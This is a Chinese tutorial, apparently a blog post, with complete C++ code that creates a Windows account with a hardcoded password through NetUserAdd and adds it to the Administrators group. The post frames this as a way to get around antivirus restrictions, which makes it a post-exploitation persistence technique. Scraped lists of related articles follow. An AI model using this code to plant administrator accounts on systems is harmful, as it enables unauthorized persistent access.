1 学习目标

使用API添加用户可以绕过某些杀毒软件的限制。

2 编程思路

2.1 代码原理

使用NetUserAdd这个API添加普通权限的用户,NetLocalGroupAddMembers这个API添加管理员权限。

2.2 编写思路

  • 1、定义USER_INFO_1 结构体
  • 2、调用NetUserAdd添加普通权限账户
  • 3、调用NetLocalGroupAddMembers添加到管理员组

3 参考文章

《使用NetUserAdd API函数创建远程用户》

http://www.cnblogs.com/findumars/p/5812177.html

4 实现流程

4.1 编程环境

操作系统:windows 7

编译器版本:vs 2010

4.2 前置API函数

NetUserAdd

NET_API_STATUS NET_API_FUNCTION
NetUserAdd (
IN LPCWSTR servername OPTIONAL, //指定远程服务器的DNS或NetBIOS名称的函数来执行。如果该参数为NULL,使用本地计算机。
IN DWORD level,
IN LPBYTE buf,
OUT LPDWORD parm_err OPTIONAL
);

NetLocalGroupAddMembers

NET_API_STATUS NET_API_FUNCTION
NetLocalGroupAddMembers (
IN LPCWSTR servername OPTIONAL,
IN LPCWSTR groupname,
IN DWORD level,
IN LPBYTE buf,
IN DWORD totalentries
);

4.3 C++代码

#include "stdafx.h"
#ifndef UNICODE
#define UNICODE
#endif
#include <stdio.h>
#include <windows.h>
#include <lm.h>
#pragma comment(lib,"netapi32")
int Usage(wchar_t *);
int wmain(int argc, wchar_t *argv[])
{ // 定义USER_INFO_1结构体
USER_INFO_1 ui;
DWORD dwError = 0;
ui.usri1_name = L"zzzhhh"; // 账户
ui.usri1_password = L"p@sswordQq123"; // 密码
ui.usri1_priv = USER_PRIV_USER;
ui.usri1_home_dir = NULL;
ui.usri1_comment = NULL;
ui.usri1_flags = UF_SCRIPT;
ui.usri1_script_path = NULL;
//添加名为zzzhhh的用户,密码为p@sswordQq123:
if(NetUserAdd(NULL, 1, (LPBYTE)&ui, &dwError) == NERR_Success)
{ MessageBox(0,L"successfully",L"title",0); }
else
{
//添加失败
MessageBox(0,L"fail",L"title",0); } // 添加用户到administrators组
LOCALGROUP_MEMBERS_INFO_3 account;
account.lgrmi3_domainandname=ui.usri1_name;
if( NetLocalGroupAddMembers(NULL,L"Administrators",3,(LPBYTE)&account,1) == NERR_Success )
{
//添加成功
MessageBox(0,L"Add to Administrators success",L"title",0);
}
else
{
//添加失败
MessageBox(0,L"Add to Administrators Fail!",L"title",0);
} return 0;
}

运行截图

【API】API函数创建用户,添加到管理组的更多相关文章

  1. 【Azure Developer】使用Microsoft Graph API 如何批量创建用户,用户属性中需要包含自定义字段(如:Store_code,Store_name等)

    Microsoft Graph 是 Microsoft 365 中通往数据和智能的网关. 它提供统一的可编程模型,可用于访问 Microsoft 365.Windows 10 和企业移动性 + 安全性 ...

  2. linux把普通用户添加到sudo组

    一.linux下把普通用户添加到sudo组的方式: 1. root权限下, 先cd到/etc目录下 2. 由于sudoers文件为只读权限,所以需要添加写入权限,chmod u+w sudoers 3 ...

  3. react 项目实战(二)创建 用户添加 页面 及 fetch请求 json-server db.json -w -p 8000

    1.安装 路由 npm install -S react-router@3.x 2.新增页面 我们现在的应用只有一个Hello React的页面,现在需要添加一个用于添加用户的页面. 首先在/src目 ...

  4. mysql创建用户和权限管理

    一 权限管理 我们知道我们的最高权限管理者是root用户,它拥有着最高的权限操作.包括select.update.delete.update.grant等操作.那么一般情况在公司之后DBA工程师会创建 ...

  5. NET LOCALGROUP命令详解(将用户添加到管理员组等)

    NET LOCALGROUP [groupname [/COMMENT:"text"]] [/DOMAIN] groupname {/ADD [/COMMENT:"tex ...

  6. [数据库中间件]将用户添加到DB2组授权

    1.将用户oracle添加到db2的用户组中,命令如下: usermod -a -G db2iam #将用户添加到组中并不改变当前所属组 注:以下与主题无关,只是列举一些关于用户的命令 id user ...

  7. Linux 中将用户添加到指定组的指令

    将一个已有用户 testuser 增加到一个已有用户组 root 中,使此用户组成为该用户的附加用户组,可以使用带 -a 参数的 usermod  指令.-a 代表 append, 也就是将用户添加到 ...

  8. Linux 中将用户添加到指定组

    添加组 usermod -a -G root dev 修改组 usermod -g root dec 删除组 gpasswd -d dev root gpasswd -a dev root //将用户 ...

  9. linux如何把普通用户添加到sudo组

    sudo原理:运行命令时,系统检查/etc/sudoers 配置文件,看这个用户是否有执行sudo的权限,如果有权限,系统要求输入用户自己的密码,如果密码输入正确,系统会以root身份运行 passw ...

随机推荐

  1. 【题解】 bzoj3450 JoyOI1952 Easy (期望dp)

    题面戳我 Solution 期望的题目真心不太会 定义状态\(f[i]\)表示到第\(i\)期望长度,\(dp[i]\)表示期望分数 如果上一步的持续\(o\)长度为\(L\),那么贡献是\(L^2\ ...

  2. luogu2607/bzoj1040 [ZJOI2008]骑士 (基环树形dp)

    N个点,每个点发出一条边,那么这个图的形状一定是一个基环树森林(如果有重边就会出现森林) 那我做f[0][x]和f[1][x]分别表示对于x子树,x这个点选还是不选所带来的最大价值 然后就变成了这好几 ...

  3. 【loj3044】【zjoi2019】Minimax

    题目 描述 ​ 给出一颗树,定义根节点1的深度为1,其他点深度为父亲深度+1: ​ 如下定义一个点的点权: ​ 1.叶子:为其编号:2.奇数深度:为其儿子编号最大值:3.偶数深度:为其儿子编号最小值: ...

  4. 洛谷P1315 观光公交

    SB贪心......暴露了我代码能力巨弱的本质. 题面 解:首先我们应该想到DP(但是我想到了贪心......) 然后分析题目本质,每个点有个限制,最早开走时间不得早于最晚上车时间. 然后我们就可以把 ...

  5. CodeForces911D 逆序对

    http://codeforces.com/problemset/problem/911/D 题意 给你一个长度为N的序列,有M次操作.每次翻转[l,r]的区间,每次操作后询问序列逆序对个数的奇偶性 ...

  6. GCC输出带C源代码的汇编文件

    GCC输出带C源代码的汇编文件,一共有两种方式(同样也适合G++输出呆CPP源代码的汇编文件). 测试代码(hello.cpp) #include<iostream> usingnames ...

  7. 面向对象【day07】:面向对象概念介绍(二)

    本节内容 1.概念 2.特性 3.面向对象介绍 一丶概念 1.面向对象编程 OOP(Object-Oriented Programming)编程是利用“类”和“对象”来创建各种模型来实现对真实世界的描 ...

  8. 过滤选择器first与子元素过滤选择器first-child的区别

    1.表格代码如下: <table id="table"> <tr> <td>id</td> <td>name</t ...

  9. 获取客户端的请求IP地址

    获取客户端的请求IP地址 package com.microClass.util; import javax.servlet.http.HttpServletRequest; import java. ...

  10. Idea下安装Lombok插件

    参照:http://www.cnblogs.com/holten/p/5729226.html https://yq.aliyun.com/articles/59972 lombok是一个可以通过简单 ...